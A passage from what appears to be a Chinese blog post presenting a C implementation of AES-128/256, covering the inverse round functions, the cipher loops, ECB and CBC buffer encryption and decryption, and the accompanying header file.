0xd7,0xd9,0xcb,0xc5,0xef,0xe1,0xf3,0xfd,0xa7,0xa9,0xbb,0xb5,0x9f,0x91,0x83,0x8d };
uint8_t a, b, c, d;
for (int i = 0; i < 4; ++i)
{
a = (*state)[i][0];
b = (*state)[i][1];
c = (*state)[i][2];
d = (*state)[i][3];
(*state)[i][0] = mul_14[a] ^ mul_11[b] ^ mul_13[c] ^ mul_9[d];
(*state)[i][1] = mul_9[a] ^ mul_14[b] ^ mul_11[c] ^ mul_13[d];
(*state)[i][2] = mul_13[a] ^ mul_9[b] ^ mul_14[c] ^ mul_11[d];
(*state)[i][3] = mul_11[a] ^ mul_13[b] ^ mul_9[c] ^ mul_14[d];
}
}
#endif
static void InvSubBytes(state_t* state)
{
for (int i = 0; i < 4; ++i)
{
(*state)[0][i] = getSBoxInvert((*state)[0][i]);
(*state)[1][i] = getSBoxInvert((*state)[1][i]);
(*state)[2][i] = getSBoxInvert((*state)[2][i]);
(*state)[3][i] = getSBoxInvert((*state)[3][i]);
}
}
static void InvShiftRows(state_t* state)
{
uint8_t temp;
temp = (*state)[3][1];
(*state)[3][1] = (*state)[2][1];
(*state)[2][1] = (*state)[1][1];
(*state)[1][1] = (*state)[0][1];
(*state)[0][1] = temp;
temp = (*state)[0][2];
(*state)[0][2] = (*state)[2][2];
(*state)[2][2] = temp;
temp = (*state)[1][2];
(*state)[1][2] = (*state)[3][2];
(*state)[3][2] = temp;
temp = (*state)[0][3];
(*state)[0][3] = (*state)[1][3];
(*state)[1][3] = (*state)[2][3];
(*state)[2][3] = (*state)[3][3];
(*state)[3][3] = temp;
}
static void Cipher(state_t* state, uint8_t* RoundKey, bool isAES256)
{
const unsigned int Nb = 4;
const unsigned int Nk = (isAES256) ? 8 : 4;
const unsigned int Nr = (isAES256) ? 14 : 10;
(void)Nb;
(void)Nk;
uint8_t round = 0;
AddRoundKey(0, state, RoundKey, isAES256);
for (round = 1; round < Nr; ++round)
{
SubBytes(state);
ShiftRows(state);
MixColumns(state);
AddRoundKey(round, state, RoundKey, isAES256);
}
SubBytes(state);
ShiftRows(state);
AddRoundKey(Nr, state, RoundKey, isAES256);
}
static void InvCipher(state_t* state, uint8_t* RoundKey, bool isAES256)
{
const unsigned int Nb = 4;
const unsigned int Nk = (isAES256) ? 8 : 4;
const unsigned int Nr = (isAES256) ? 14 : 10;
(void)Nb;
(void)Nk;
uint8_t round = 0;
AddRoundKey(Nr, state, RoundKey, isAES256);
for (round = (Nr - 1); round > 0; --round)
{
InvShiftRows(state);
InvSubBytes(state);
AddRoundKey(round, state, RoundKey, isAES256);
InvMixColumns(state);
}
InvShiftRows(state);
InvSubBytes(state);
AddRoundKey(0, state, RoundKey, isAES256);
}
static void XorWithIv(uint8_t* buf, uint8_t* Iv)
{
for (int i = 0; i < AES_BLOCKLEN; ++i)
{
buf[i] ^= Iv[i];
}
}
void AES_ECB_encrypt_buffer(struct AES_ctx *ctx, const uint8_t* buf, uint32_t length)
{
uintptr_t i;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
Cipher((state_t*)buf, ctx->RoundKey, ctx->isAES256);
buf += AES_BLOCKLEN;
}
}
void AES_ECB_decrypt_buffer(struct AES_ctx* ctx, const uint8_t* buf, uint32_t length)
{
uintptr_t i;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
InvCipher((state_t*)buf, ctx->RoundKey, ctx->isAES256);
buf += AES_BLOCKLEN;
}
}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, uint32_t length)
{
uintptr_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey, ctx->isAES256);
Iv = buf;
buf += AES_BLOCKLEN;
}
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length)
{
uintptr_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey, ctx->isAES256);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}
}
头文件 aes.h
#ifndef _AES_H_
#define _AES_H_
#include <stdint.h>
#define AES_BLOCKLEN 16
#define AES_256_KEYLEN 32
#define AES_256_keyExpSize 240
#define AES_128_KEYLEN 16
#define AES_128_keyExpSize 176
struct AES_ctx
{
uint8_t RoundKey[AES_256_keyExpSize];
uint8_t Iv[AES_BLOCKLEN];
bool isAES256;
};
void AES_init_ctx(struct AES_ctx* ctx, const char* key);
void AES_init_ctx_iv(struct AES_ctx* ctx, const char* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
void AES_ECB_encrypt_buffer(struct AES_ctx* ctx, const uint8_t* buf, uint32_t length);
void AES_ECB_decrypt_buffer(struct AES_ctx* ctx, const uint8_t* buf, uint32_t length);
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
#endif //_AES_H_
1780
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
